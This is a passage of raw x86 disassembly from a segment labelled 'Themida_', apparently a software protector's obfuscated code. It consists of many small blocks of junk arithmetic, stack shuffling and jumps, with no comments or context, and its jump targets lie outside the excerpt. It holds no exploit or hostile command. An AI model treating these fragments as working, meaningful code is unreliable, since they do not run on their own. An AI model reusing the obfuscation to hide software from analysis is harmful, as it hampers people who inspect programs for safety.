add edi, ebp
add edi, 50DF3580h
sub edi, 609F7C02h
mov ebp, [esp]
add esp, 4
add ebx, edi
pop edi
push ebp
push esi
jmp loc_5A3792
; ---------------------------------------------------------------------------
loc_5ACDB5: ; CODE XREF: Themida_:005A30D4j
mov [esp], edi
mov edi, esp
push 0EB6h
mov [esp], edx
jmp loc_59A89D
; ---------------------------------------------------------------------------
loc_5ACDC7: ; CODE XREF: Themida_:005A648Aj
mov [esp], edx
jmp loc_5A0DB0
; ---------------------------------------------------------------------------
loc_5ACDCF: ; CODE XREF: Themida_:005A8858j
inc esi
sub esi, 3D1E7FF8h
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
push ebx
jmp loc_5A1BAA
; ---------------------------------------------------------------------------
loc_5ACDE5: ; CODE XREF: Themida_:005A0110j
pop edx
xor eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebx
jmp loc_59C5C4
; ---------------------------------------------------------------------------
loc_5ACDF7: ; CODE XREF: Themida_:005A5A5Ej
; Themida_:005A7369j
push ebp
sub esp, 4
mov [esp], esp
jmp loc_5A8FB4
; ---------------------------------------------------------------------------
loc_5ACE03: ; CODE XREF: Themida_:005A251Fj
push ecx
mov ecx, 50F67095h
add [esp+4], ecx
jmp loc_5AFA00
; ---------------------------------------------------------------------------
loc_5ACE12: ; CODE XREF: Themida_:005A1064j
mov esp, [esp]
jmp loc_5AF866
; ---------------------------------------------------------------------------
loc_5ACE1A: ; CODE XREF: Themida_:005A9CBFj
mov cx, [esp]
add esp, 2
push eax
mov al, 49h
add al, 10h
sub bl, al
jmp loc_5A8E27
; ---------------------------------------------------------------------------
loc_5ACE2D: ; CODE XREF: Themida_:005A92FFj
add ch, bh
jmp loc_59D3D9
; ---------------------------------------------------------------------------
loc_5ACE34: ; CODE XREF: Themida_:005AB8C0j
mov esi, ebx
pop ebx
add ebx, 1EE57EA7h
jmp loc_59CCD2
; ---------------------------------------------------------------------------
loc_5ACE42: ; CODE XREF: Themida_:005A74DEj
neg ebx
inc ebx
add ebx, 0FA840A0Ch
or edi, ebx
mov ebx, [esp]
add esp, 4
neg edi
jmp loc_59F6C5
; ---------------------------------------------------------------------------
loc_5ACE5A: ; CODE XREF: Themida_:005A38E3j
mov edi, esp
add edi, 4
push eax
mov eax, 6F4C55B5h
jmp loc_5AE0F9
; ---------------------------------------------------------------------------
loc_5ACE6D: ; CODE XREF: Themida_:0059CFFFj
pop ebp
sub ecx, 5A2A2C81h
jmp loc_5A2D8B
; ---------------------------------------------------------------------------
loc_5ACE79: ; CODE XREF: Themida_:0059A00Aj
push 4FF74C64h
jmp loc_59A7F5
; ---------------------------------------------------------------------------
loc_5ACE83: ; CODE XREF: Themida_:005A6B50j
mov esp, [esp]
push 1F1Dh
jmp loc_5AF6D0
; ---------------------------------------------------------------------------
loc_5ACE90: ; CODE XREF: Themida_:005AD610j
xor esi, 20897E2Ah
mov ecx, esi
pop esi
add ecx, edi
push esi
push esp
pop esi
push ecx
jmp loc_59E98E
; ---------------------------------------------------------------------------
loc_5ACEA4: ; CODE XREF: Themida_:00599C0Ej
add edx, ebp
jmp loc_5ACFAF
; ---------------------------------------------------------------------------
loc_5ACEAB: ; CODE XREF: Themida_:0059FF94j
mov ebx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_59D4E3
; ---------------------------------------------------------------------------
loc_5ACEC4: ; CODE XREF: Themida_:0059BD7Fj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add al, bl
sub al, 0Eh
sub esp, 2
mov [esp], dx
jmp loc_5AF768
; ---------------------------------------------------------------------------
loc_5ACEE3: ; CODE XREF: Themida_:005ACBDEj
push esi
mov esi, 1906383Ch
xor esi, 516D3115h
sub ebx, esi
pop esi
shl ebx, 5
jmp loc_59CC8F
; ---------------------------------------------------------------------------
loc_5ACEFA: ; CODE XREF: Themida_:005A3724j
pop esp
push edx
mov edx, 4
add edi, edx
mov edx, [esp]
jmp loc_5A9861
; ---------------------------------------------------------------------------
loc_5ACF0B: ; CODE XREF: Themida_:0059E019j
pop esp
mov cx, [esp]
push esi
mov esi, esp
push eax
mov eax, 0B2F4EB3h
sub eax, 1
jmp loc_5ABFCC
; ---------------------------------------------------------------------------
loc_5ACF21: ; CODE XREF: Themida_:0059E85Dj
add esp, 4
add esp, 4
push 28F5h
jmp loc_59FDB0
; ---------------------------------------------------------------------------
loc_5ACF34: ; CODE XREF: Themida_:005A5298j
push ebp
mov ebp, 46E35AEEh
push eax
push 41E55AD1h
mov eax, [esp]
add esp, 4
neg eax
jb loc_5A9984
jmp loc_598FF8
; ---------------------------------------------------------------------------
xor esi, [esp]
mov esp, [esp]
mov ah, ah
loc_5ACF5E: ; CODE XREF: Themida_:005AB893j
; Themida_:005AEBF2j
dec ah
jnp loc_5A1BC7
jmp loc_59BF39
; ---------------------------------------------------------------------------
push esi
push edi
push 5C890167h
pop edi
loc_5ACF73: ; CODE XREF: Themida_:005A2DC8j
mov edx, 13092E5Ch
mov ecx, 13092E5Eh
xor ecx, edx
pop edx
sub eax, 2ADE72BBh
add eax, ecx
push ebp
jmp loc_5A9EA7
; ---------------------------------------------------------------------------
loc_5ACF8D: ; CODE XREF: Themida_:005A741Fj
sub ebp, edx
pop edx
push ecx
mov ecx, ebp
push ecx
push ebp
mov ebp, 50D5325Ch
add [esp+4], ebp
pop ebp
mov eax, [esp]
jmp loc_59E0FA
; ---------------------------------------------------------------------------
loc_5ACFA7: ; CODE XREF: Themida_:005A7B67j
mov ebp, [esp]
jmp loc_5A1693
; ---------------------------------------------------------------------------
loc_5ACFAF: ; CODE XREF: Themida_:005ACEA6j
mov ebp, [esp]
add esp, 4
push ebx
jmp loc_59DE67
; ---------------------------------------------------------------------------
loc_5ACFBE: ; CODE XREF: Themida_:005A7F4Fj
xor edx, 3C185517h
jmp loc_5AB353
; ---------------------------------------------------------------------------
loc_5ACFC9: ; CODE XREF: Themida_:005A943Bj
xor ebx, 6526DA4h
add ebx, 7C012C01h
add ebx, 1CD71734h
push ebx
pop eax
pop ebx
and eax, 5B7B62F5h
shl eax, 7
jmp loc_59A958
; ---------------------------------------------------------------------------
loc_5ACFEB: ; CODE XREF: Themida_:005A6B84j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
add ebx, 4
push edx
mov edx, 4
jmp loc_59D9D4
; ---------------------------------------------------------------------------
loc_5AD008: ; CODE XREF: Themida_:loc_59C9D8j
xor edx, 4791562Eh
push edx
jmp loc_59A7EE
; ---------------------------------------------------------------------------
loc_5AD014: ; CODE XREF: Themida_:0059FA70j
; Themida_:005A2DFDj
mov esi, [esp]
add esp, 4
mov ebp, [esp]
push 375Ah
jmp loc_5A3D07
; ---------------------------------------------------------------------------
loc_5AD02A: ; CODE XREF: Themida_:005AC7C8j
push ebx
mov ebx, esp
push edx
jmp loc_5AE603
; ---------------------------------------------------------------------------
loc_5AD033: ; CODE XREF: Themida_:0059B4E3j
xor edi, [esp]
mov esp, [esp]
add esi, 35C14C00h
add esi, 45261EC8h
push edx
jmp loc_5AA25B
; ---------------------------------------------------------------------------
loc_5AD04B: ; CODE XREF: Themida_:0059D514j
jmp loc_59D2CC
; ---------------------------------------------------------------------------
loc_5AD050: ; CODE XREF: Themida_:00599394j
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AD05C: ; CODE XREF: Themida_:005A3FACj
shl ah, 1
jmp loc_5AEF08
; ---------------------------------------------------------------------------
loc_5AD063: ; CODE XREF: Themida_:005A51F7j
and edx, 77B50859h
jz loc_59B010
shr edx, 1
jmp loc_5A7BD6
; ---------------------------------------------------------------------------
loc_5AD076: ; CODE XREF: Themida_:005A3D35j
pop edi
push esi
jmp loc_59D686
; ---------------------------------------------------------------------------
loc_5AD07D: ; CODE XREF: Themida_:005A333Ej
and edx, 1D696BBAh
jmp loc_5AA6A3
; ---------------------------------------------------------------------------
loc_5AD088: ; CODE XREF: Themida_:005AECF6j
pop ebx
push ebp
jmp loc_5A5AED
; ---------------------------------------------------------------------------
loc_5AD08F: ; CODE XREF: Themida_:005AB7B2j
sub al, 0DBh
add al, 76h
sub al, dh
sub al, 76h
add al, 0DBh
mov edx, [esp]
add esp, 4
push edx
mov dl, 0DFh
jmp loc_59D8A6
; ---------------------------------------------------------------------------
loc_5AD0AA: ; CODE XREF: Themida_:005A8FDAj
add eax, 4
jmp loc_5A245D
; ---------------------------------------------------------------------------
loc_5AD0B2: ; CODE XREF: Themida_:005A5381j
mov ebx, 50196C61h
sub eax, ebx
push dword ptr [esp]
jmp loc_5A05DF
; ---------------------------------------------------------------------------
loc_5AD0C1: ; CODE XREF: Themida_:005A9A4Ej
xor edx, 722A4E62h
neg edx
not edx
push esi
jmp loc_5AFD9E
; ---------------------------------------------------------------------------
loc_5AD0D1: ; CODE XREF: Themida_:005AB5E2j
pop ebp
add ebx, 0F413C86h
sub ebx, 9577FA9h
jmp loc_5A10BE
; ---------------------------------------------------------------------------
loc_5AD0E3: ; CODE XREF: Themida_:0059F26Dj
mov ecx, 4
sub eax, ecx
pop ecx
xor eax, [esp]
jmp loc_59E0E3
; ---------------------------------------------------------------------------
loc_5AD0F3: ; CODE XREF: Themida_:005A99CDj
mov edi, esi
jmp loc_5A9011
; ---------------------------------------------------------------------------
loc_5AD0FA: ; CODE XREF: Themida_:loc_5A8B40j
jmp loc_5A3A91
; ---------------------------------------------------------------------------
loc_5AD0FF: ; CODE XREF: Themida_:0059D93Dj
push edx
push ecx
push 1E52883h
pop ecx
push ecx
xchg edx, [esp]
not edx
xchg edx, [esp]
pop ecx
add ecx, 8B574A7h
push ecx
add dword ptr [esp], 69E947C5h
mov edx, [esp]
jmp loc_59A09C
; ---------------------------------------------------------------------------
loc_5AD127: ; CODE XREF: Themida_:0059EB36j
add al, ch
jmp loc_59B7DC
; ---------------------------------------------------------------------------
loc_5AD12E: ; CODE XREF: Themida_:005A2C47j
add eax, 264B5FFFh
pop edi
add eax, 77534501h
jmp loc_5AFC44
; ---------------------------------------------------------------------------
loc_5AD13E: ; DATA XREF: Themida_:005987C8o
mov cx, [esp]
push 3CB9h
jmp loc_5AE0A8
; ---------------------------------------------------------------------------
loc_5AD14C: ; CODE XREF: Themida_:005AEF21j
add edx, edi
add edx, 167173Dh
push 776Dh
jmp loc_5A39D6
; ---------------------------------------------------------------------------
loc_5AD15E: ; CODE XREF: Themida_:005A270Bj
push 4D7B00CBh
jmp loc_5A1ABF
; ---------------------------------------------------------------------------
loc_5AD168: ; CODE XREF: Themida_:loc_59F91Ej
sub ebp, 0A10B1669h
add ebp, 0A7C2976Dh
add ebx, 53355750h
jmp loc_5AAD86
; ---------------------------------------------------------------------------
loc_5AD17F: ; CODE XREF: Themida_:005A2462j
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5A3FFD
; ---------------------------------------------------------------------------
loc_5AD189: ; CODE XREF: Themida_:0059BAC0j
add esp, 4
push eax
jmp loc_598DA6
; ---------------------------------------------------------------------------
loc_5AD195: ; CODE XREF: Themida_:005AEEACj
sub ebx, 512F3119h
add ebx, 542E4D11h
add ebx, 157B8A4Bh
jmp loc_5AC740
; ---------------------------------------------------------------------------
loc_5AD1AC: ; CODE XREF: Themida_:005AE001j
xor [esp], edi
jmp loc_5AB156
; ---------------------------------------------------------------------------
loc_5AD1B4: ; CODE XREF: Themida_:005A56BAj
sub ebp, 8822E0Ch
jmp loc_5999B6
; ---------------------------------------------------------------------------
loc_5AD1BF: ; CODE XREF: Themida_:005ABAD3j
add ecx, 2824304h
mov edx, ecx
jmp loc_5A7394
; ---------------------------------------------------------------------------
loc_5AD1CC: ; CODE XREF: Themida_:0059A0B2j
or edx, 586947F5h
sub edx, 1BBD73D3h
xor edx, 0FF4F564Fh
sub ebp, edx
pop edx
jmp loc_59C530
; ---------------------------------------------------------------------------
loc_5AD1E6: ; CODE XREF: Themida_:005A05BCj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
jmp loc_5ACACD
; ---------------------------------------------------------------------------
loc_5AD1FB: ; CODE XREF: Themida_:0059B14Cj
push dword ptr [esp]
pop ebx
add esp, 4
and ecx, edi
push dword ptr [esp]
jmp loc_5A650A
; ---------------------------------------------------------------------------
loc_5AD20C: ; CODE XREF: Themida_:005A3A4Ej
add esp, 4
push ebx
push 0A0Bh
jmp loc_59C9EA
; ---------------------------------------------------------------------------
loc_5AD21D: ; CODE XREF: Themida_:0059E800j
push edi
push esp
jmp loc_5A1D4F
; ---------------------------------------------------------------------------
loc_5AD224: ; CODE XREF: Themida_:0059C6FFj
mov edi, 5A746C19h
sub edx, edi
jmp loc_5A3CC6
; ---------------------------------------------------------------------------
loc_5AD230: ; CODE XREF: Themida_:005A8E16j
mov eax, ebx
pop ebx
sub esi, eax
jmp loc_5AC758
; ---------------------------------------------------------------------------
loc_5AD23A: ; CODE XREF: Themida_:005A1DB3j
xchg edx, ecx
jmp loc_5A56D3
; ---------------------------------------------------------------------------
loc_5AD241: ; CODE XREF: Themida_:005A076Ej
sub ebx, 0EB647CEh
jmp loc_5A3F4B
; ---------------------------------------------------------------------------
loc_5AD24C: ; CODE XREF: Themida_:005AF81Ej
pop edx
push ebx
mov bl, ah
jmp loc_5A2902
; ---------------------------------------------------------------------------
loc_5AD255: ; CODE XREF: Themida_:0059B316j
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5A0C02
; ---------------------------------------------------------------------------
loc_5AD26B: ; CODE XREF: Themida_:005A763Fj
pop edx
sub ebp, 4D883C50h
add ebp, 3246068Dh
shr ebp, 4
jmp loc_59D004
; ---------------------------------------------------------------------------
loc_5AD280: ; CODE XREF: Themida_:00599643j
js loc_5A8903
sub esp, 4
mov [esp], eax
mov eax, 5F3B31CAh
shl eax, 1
loc_5AD293: ; CODE XREF: Themida_:005A3B9Aj
mov [esp], ebx
jmp loc_59BC5D
; ---------------------------------------------------------------------------
loc_5AD29B: ; CODE XREF: Themida_:005A106Fj
add esp, 2
add bl, ch
push edx
mov dl, 0BEh
add bl, dl
pop edx
push ecx
jmp loc_5AE353
; ---------------------------------------------------------------------------
loc_5AD2AF: ; CODE XREF: Themida_:00598D64j
shr edi, 5
add edi, 0FDFDDD56h
add esi, edi
pop edi
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 7F6D0D47h
shl ebp, 6
neg ebp
jmp loc_5A8C7E
; ---------------------------------------------------------------------------
loc_5AD2D4: ; CODE XREF: Themida_:005A29E2j
sub esp, 4
push esp
pop dword ptr [esp]
push edx
push 4
pop edx
add [esp+4], edx
mov edx, [esp]
add esp, 4
jmp loc_5A37F4
; ---------------------------------------------------------------------------
loc_5AD2F4: ; CODE XREF: Themida_:005A3744j
pop ebx
jmp loc_5A0473
; ---------------------------------------------------------------------------
loc_5AD2FA: ; CODE XREF: Themida_:005AF350j
inc ecx
xchg ecx, edx
not edx
push esi
mov esi, 2EA48806h
add edx, esi
jmp loc_5AE4C7
; ---------------------------------------------------------------------------
loc_5AD30C: ; CODE XREF: Themida_:005A772Ej
pop ebx
push dx
jmp loc_5A3FC3
; ---------------------------------------------------------------------------
loc_5AD314: ; CODE XREF: Themida_:005ABE6Dj
mov [esp], eax
mov eax, 3F5C497Ch
neg eax
jns loc_5AA0E7
jmp loc_5AA7AE
; ---------------------------------------------------------------------------
loc_5AD329: ; CODE XREF: Themida_:005A77CFj
xor edx, 463A3169h
jle loc_5A0214
add edx, 4DB90B57h
jz loc_59D9CE
jmp loc_5A7F99
; ---------------------------------------------------------------------------
loc_5AD346: ; CODE XREF: Themida_:005A84A2j
push 561Fh
mov [esp], ebp
mov ebp, 5AA7463Eh
sub ebp, 35E33003h
jnz loc_59FBFB
dec ebp
jl loc_5A9930
neg ebp
push ebx
loc_5AD369: ; CODE XREF: Themida_:005A3393j
; Themida_:005AE559j
pop esp
add edi, 4
push 4A5Eh
mov [esp], ebp
push 2
pop ebp
add edi, 5A533ED3h
jmp loc_5A6D3B
; ---------------------------------------------------------------------------
loc_5AD389: ; CODE XREF: Themida_:005AD3D4j
sub ebp, 3D661A35h
mov edi, ebp
pop ebp
xor edi, ecx
push dword ptr [esp]
jmp loc_5A10CB
; ---------------------------------------------------------------------------
loc_5AD39C: ; CODE XREF: Themida_:0059C4F8j
xor ecx, 3CD15AE0h
or edx, ecx
pop ecx
push ebx
mov ebx, 95B64CEh
shr ebx, 1
shl ebx, 2
jmp loc_5A076D
; ---------------------------------------------------------------------------
loc_5AD3B5: ; CODE XREF: Themida_:005AC0DDj
push edi
jmp loc_5A4C6B
; ---------------------------------------------------------------------------
loc_5AD3BB: ; CODE XREF: Themida_:005A58F2j
pop ecx
push 74D4h
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_5A7445
; ---------------------------------------------------------------------------
loc_5AD3CE: ; CODE XREF: Themida_:005A54E7j
add ebp, 7DFF47B2h
jo loc_5AD389
sub ebp, 3D661A35h
mov edi, ebp
pop ebp
xor edi, ecx
pop ecx
loc_5AD3E6: ; CODE XREF: Themida_:0059D98Bj
push esp
mov edi, [esp]
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_59CFE5
; ---------------------------------------------------------------------------
loc_5AD3F8: ; CODE XREF: Themida_:0059DA59j
xor esi, [esp]
mov esp, [esp]
jmp loc_5A2602
; ---------------------------------------------------------------------------
loc_5AD403: ; CODE XREF: Themida_:005A4148j
push ebx
mov ebx, 4D786F1Eh
xor ebx, 29D20416h
sub edx, 2FEB2CE9h
sub edx, ebx
push ebp
mov ebp, 4141565h
jmp loc_5A7F40
; ---------------------------------------------------------------------------
loc_5AD422: ; CODE XREF: Themida_:005A40E2j
add esp, 4
push ebp
mov ebp, 408D6064h
jmp loc_59CDF2
; ---------------------------------------------------------------------------
loc_5AD430: ; CODE XREF: Themida_:005ACC04j
jmp loc_59CE4E
; ---------------------------------------------------------------------------
loc_5AD435: ; CODE XREF: Themida_:005A9EA2j
mov esp, [esp]
mov [esp], ebp
jmp loc_59B93C
; ---------------------------------------------------------------------------
loc_5AD440: ; CODE XREF: Themida_:005AA4AAj
shl ebx, 4
jmp loc_5A05D2
; ---------------------------------------------------------------------------
loc_5AD448: ; DATA XREF: Themida_:005987E4o
mov ax, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
push esi
push edx
mov edx, 711A0330h
sub edx, 4FB92A6h
mov esi, edx
jmp loc_5A3331
; ---------------------------------------------------------------------------
loc_5AD46B: ; CODE XREF: Themida_:005A5E51j
neg eax
sub eax, 11F7667Ch
xor eax, 9DCEA64Fh
mov edi, eax
jmp loc_59CE34
; ---------------------------------------------------------------------------
loc_5AD47E: ; CODE XREF: Themida_:005AFC9Dj
add edx, 2
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ax, [esp]
push esi
sub esp, 4
jmp loc_5AEA34
; ---------------------------------------------------------------------------
loc_5AD49B: ; CODE XREF: Themida_:005AA340j
mov ebp, 2
add ebx, 360B6A0Fh
add ebx, ebp
sub ebx, 360B6A0Fh
jmp loc_5A5C64
; ---------------------------------------------------------------------------
loc_5AD4B3: ; CODE XREF: Themida_:005A7260j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor al, ch
pop ecx
jmp loc_5A6EC6
; ---------------------------------------------------------------------------
loc_5AD4CB: ; CODE XREF: Themida_:005AA84Fj
push eax
mov eax, 0D855020h
neg eax
inc eax
jmp loc_5A4898
; ---------------------------------------------------------------------------
loc_5AD4D9: ; CODE XREF: Themida_:005A90C0j
mov edx, [esp]
jmp loc_5A560F
; ---------------------------------------------------------------------------
loc_5AD4E1: ; CODE XREF: Themida_:005A1677j
add esp, 4
sub eax, 3C5940B7h
sub eax, 685B7E5Ch
sub eax, 38B52EF3h
add eax, ecx
jmp loc_59CC80
; ---------------------------------------------------------------------------
loc_5AD4FA: ; CODE XREF: Themida_:005AD97Dj
xchg ebx, [esp]
jmp loc_5A2467
; ---------------------------------------------------------------------------
loc_5AD502: ; CODE XREF: Themida_:005A3A60j
pop ebp
push ebp
jmp loc_59A6F4
; ---------------------------------------------------------------------------
loc_5AD509: ; CODE XREF: Themida_:0059F745j
jz loc_599D40
sub edx, 80627CB6h
jmp loc_5A2AB2
; ---------------------------------------------------------------------------
loc_5AD51A: ; CODE XREF: Themida_:loc_59CC03j
; Themida_:0059F984j ...
push esp
mov ecx, [esp]
add esp, 4
push edi
jmp loc_5AC62E
; ---------------------------------------------------------------------------
loc_5AD527: ; CODE XREF: Themida_:005A8C16j
pop ecx
shr edx, 6
jmp loc_5A74E3
; ---------------------------------------------------------------------------
loc_5AD530: ; CODE XREF: Themida_:005A0F4Bj
add edi, 4F71083Ch
add edi, ebx
push eax
mov eax, 0B0C5301h
jmp loc_59AE7B
; ---------------------------------------------------------------------------
loc_5AD543: ; CODE XREF: Themida_:005A76CCj
mov eax, esp
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
pop esp
push esi
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
jmp loc_59B68D
; ---------------------------------------------------------------------------
loc_5AD571: ; CODE XREF: Themida_:005A9BECj
or edi, 183F156Dh
jmp loc_5A1127
; ---------------------------------------------------------------------------
loc_5AD57C: ; CODE XREF: Themida_:005AC927j
not ebp
inc ebp
xor ebp, 48BB58DCh
add ebp, 0E47427C3h
or eax, ebp
jmp loc_59CC56
; ---------------------------------------------------------------------------
loc_5AD592: ; CODE XREF: Themida_:005AC340j
sub ebx, ecx
mov ecx, ebx
pop ebx
jmp loc_59B9AA
; ---------------------------------------------------------------------------
loc_5AD59C: ; CODE XREF: Themida_:0059EB16j
mov [esp], ebp
sub esp, 4
jmp loc_5A4D5D
; ---------------------------------------------------------------------------
loc_5AD5AA: ; CODE XREF: Themida_:0059E5BDj
xchg edi, ecx
push ebx
mov ebx, 4A416A0Eh
sub esp, 4
mov [esp], edx
mov edx, 136B5C68h
jmp loc_5A3B86
; ---------------------------------------------------------------------------
loc_5AD5C5: ; CODE XREF: Themida_:005A000Aj
pop edi
push 4C0Bh
mov [esp], edx
push ecx
mov ecx, 30532403h
mov edx, ecx
jmp loc_5AA3BD
; ---------------------------------------------------------------------------
loc_5AD5DB: ; CODE XREF: Themida_:005AE084j
mov esi, 49F9726Ah
and esi, 532F0A6Ch
jmp loc_5A324A
; ---------------------------------------------------------------------------
loc_5AD5EB: ; CODE XREF: Themida_:005A64BEj
mov ecx, 4
sub ebx, ecx
jmp loc_5A90C5
; ---------------------------------------------------------------------------
loc_5AD5F7: ; CODE XREF: Themida_:0059F0CBj
mov ch, 2Ch
push dx
mov dl, 3Bh
jmp loc_59AB23
; ---------------------------------------------------------------------------
push ecx
push esi
push 5A531FEAh
pop esi
xor esi, 7ADA61FCh
jnz loc_5ACE90
xor esi, 20897E2Ah
mov ecx, esi
pop esi
push ebx
loc_5AD620: ; CODE XREF: Themida_:005A378Dj
sub esp, 2
mov [esp], dx
mov dh, 75h
add al, 0B0h
add al, dh
sub al, 0B0h
mov dx, [esp]
push ebp
mov ebp, esp
jmp loc_59E15B
; ---------------------------------------------------------------------------
loc_5AD63B: ; CODE XREF: Themida_:0059C793j
not ebx
push esi
mov esi, 740E4F9Dh
push ecx
mov ecx, 5AA95B05h
sub ecx, 5A82370Eh
dec ecx
jmp loc_5A92C2
; ---------------------------------------------------------------------------
loc_5AD655: ; CODE XREF: Themida_:005AA887j
pop ebx
jmp loc_5AF5C5
; ---------------------------------------------------------------------------
loc_5AD65B: ; CODE XREF: Themida_:005A5911j
; Themida_:005A6AD4j
sub ebx, 2132508Dh
xor eax, ebx
pop ebx
add edi, eax
pop eax
pop ebx
xor edi, [esp]
jmp loc_5A2C81
; ---------------------------------------------------------------------------
loc_5AD670: ; CODE XREF: Themida_:0059E446j
push ebp
dec dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], esi
mov esi, 2DCC5386h
sub ebp, esi
pop esi
xor ebp, 0F5015C9Eh
jmp loc_59C8D1
; ---------------------------------------------------------------------------
loc_5AD691: ; CODE XREF: Themida_:005A5AD4j
push esi
jmp loc_5A0352
; ---------------------------------------------------------------------------
loc_5AD697: ; CODE XREF: Themida_:0059F011j
push esi
push ecx
push 0AD16FC6h
pop ecx
xchg edx, ecx
not edx
xchg edx, ecx
push edi
push 3E367909h
pop edi
add ecx, edi
pop edi
xor ecx, 33650946h
mov esi, ecx
pop ecx
add ebx, esi
jmp loc_5A8DCD
; ---------------------------------------------------------------------------
loc_5AD6BF: ; CODE XREF: Themida_:0059E462j
mov edx, [esp]
push ebx
mov ebx, esp
push edi
jmp loc_59B989
; ---------------------------------------------------------------------------
loc_5AD6CB: ; CODE XREF: Themida_:0059ACBBj
xor ebx, [esp]
mov esp, [esp]
push edi
mov edi, 1EA44073h
add eax, edi
pop edi
push dword ptr [edi+eax*4]
push ebp
mov ebp, 3CA10E9Fh
add [esp+4], ebp
pop ebp
push dword ptr [esp]
jmp loc_5A308C
; ---------------------------------------------------------------------------
loc_5AD6F0: ; CODE XREF: Themida_:005A11CEj
or bl, 9Ch
jmp loc_59FC2A
; ---------------------------------------------------------------------------
loc_5AD6F8: ; CODE XREF: Themida_:005A738Fj
not esi
sub esi, 0FFFFFFFFh
xor esi, 7E4F3B9Ah
push eax
mov eax, 977BB76Bh
sub esi, eax
pop eax
sub ebx, esi
push dword ptr [esp]
pop esi
push edi
mov edi, esp
push ebp
mov ebp, 4
jmp loc_5A647C
; ---------------------------------------------------------------------------
loc_5AD723: ; CODE XREF: Themida_:0059A39Ej
push esp
pop dword ptr [esp]
push 373h
mov [esp], eax
mov eax, 4
add dword ptr [esp+4], 413F0848h
jmp loc_5A0A88
; ---------------------------------------------------------------------------
loc_5AD741: ; CODE XREF: Themida_:005A1791j
xor [esp], eax
jmp loc_5AC07F
; ---------------------------------------------------------------------------
loc_5AD749: ; CODE XREF: Themida_:0059A15Bj
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esi, ebx
mov ebx, [esp]
jmp loc_5AC9AC
; ---------------------------------------------------------------------------
loc_5AD769: ; CODE XREF: Themida_:005AA6C6j
push 567Dh
mov [esp], edx
mov edx, 4
add [esp+4], edx
mov edx, [esp]
add esp, 4
jmp loc_5AA2CA
; ---------------------------------------------------------------------------
loc_5AD785: ; CODE XREF: Themida_:0059E88Fj
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A5ED0
; ---------------------------------------------------------------------------
loc_5AD790: ; CODE XREF: Themida_:005A91F7j
sub ebp, 9D05EFA0h
add ecx, ebp
mov ebp, [esp]
jmp loc_5A047D
; ---------------------------------------------------------------------------
loc_5AD7A0: ; CODE XREF: Themida_:0059D2A6j
pop eax
xor edx, [esp]
jmp loc_5AA578
; ---------------------------------------------------------------------------
loc_5AD7A9: ; CODE XREF: Themida_:005A62B2j
mov [esp], ebx
mov ebx, 101A4180h
xor ebx, 16435705h
jmp loc_5AB9AC
; ---------------------------------------------------------------------------
loc_5AD7BC: ; CODE XREF: Themida_:005A33D0j
sub ebx, 6BAAC20h
mov edx, ebx
pop ebx
jmp loc_5A4E89
; ---------------------------------------------------------------------------
loc_5AD7CA: ; CODE XREF: Themida_:005A0A6Cj
; Themida_:005A5B7Aj
xchg esi, [esp]
pop esp
push ecx
mov ecx, 53A266ADh
jmp loc_5A552A
; ---------------------------------------------------------------------------
loc_5AD7D9: ; CODE XREF: Themida_:005A59BBj
mov esi, 411B2AE6h
or ebp, esi
pop esi
not ebp
jmp loc_59D72F
; ---------------------------------------------------------------------------
loc_5AD7E8: ; CODE XREF: Themida_:005AC5BCj
mov ah, bl
jmp loc_5A2118
; ---------------------------------------------------------------------------
loc_5AD7EF: ; CODE XREF: Themida_:005A1252j
; Themida_:005AF2B9j
push bx
mov bl, 5Fh
jmp loc_5A54F3
; ---------------------------------------------------------------------------
loc_5AD7F8: ; CODE XREF: Themida_:0059DD25j
sar word ptr [esp], cl
pushf
jmp loc_59DC69
; ---------------------------------------------------------------------------
loc_5AD802: ; CODE XREF: Themida_:0059EE15j
xor dx, di
not di
xchg di, dx
jmp loc_5A9A95
; ---------------------------------------------------------------------------
loc_5AD810: ; CODE XREF: Themida_:00599075j
or ebx, 7CB30D8Fh
and ebx, 65716617h
jbe loc_5A3B5C
xor ebx, 21165EC7h
shl ebx, 2
and ebx, 6DFA67ABh
neg ebx
shr ebx, 6
not ebx
push ecx
mov ecx, 72FF4556h
jmp loc_5A3D17
; ---------------------------------------------------------------------------
loc_5AD843: ; CODE XREF: Themida_:005A2712j
mov dl, 12h
xor dl, 0F3h
mov cl, dl
pop edx
inc cl
jmp loc_59EEC3
; ---------------------------------------------------------------------------
loc_5AD852: ; CODE XREF: Themida_:loc_59957Cj
push ecx
push ebp
mov ebp, 4BE772F3h
mov ecx, ebp
pop ebp
and edx, ecx
jmp loc_5A16FF
; ---------------------------------------------------------------------------
loc_5AD863: ; CODE XREF: Themida_:005A516Ej
mov edx, 2
push 1EECh
mov [esp], ecx
jmp loc_5A20BB
; ---------------------------------------------------------------------------
loc_5AD875: ; CODE XREF: Themida_:005A1E4Cj
shr edi, 8
jmp loc_59BE59
; ---------------------------------------------------------------------------
loc_5AD87D: ; CODE XREF: Themida_:005A9AE9j
mov esp, [esp]
sub esp, 4
mov [esp], edx
push 34EBh
mov [esp], edi
push 1568162Eh
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5A812E
; ---------------------------------------------------------------------------
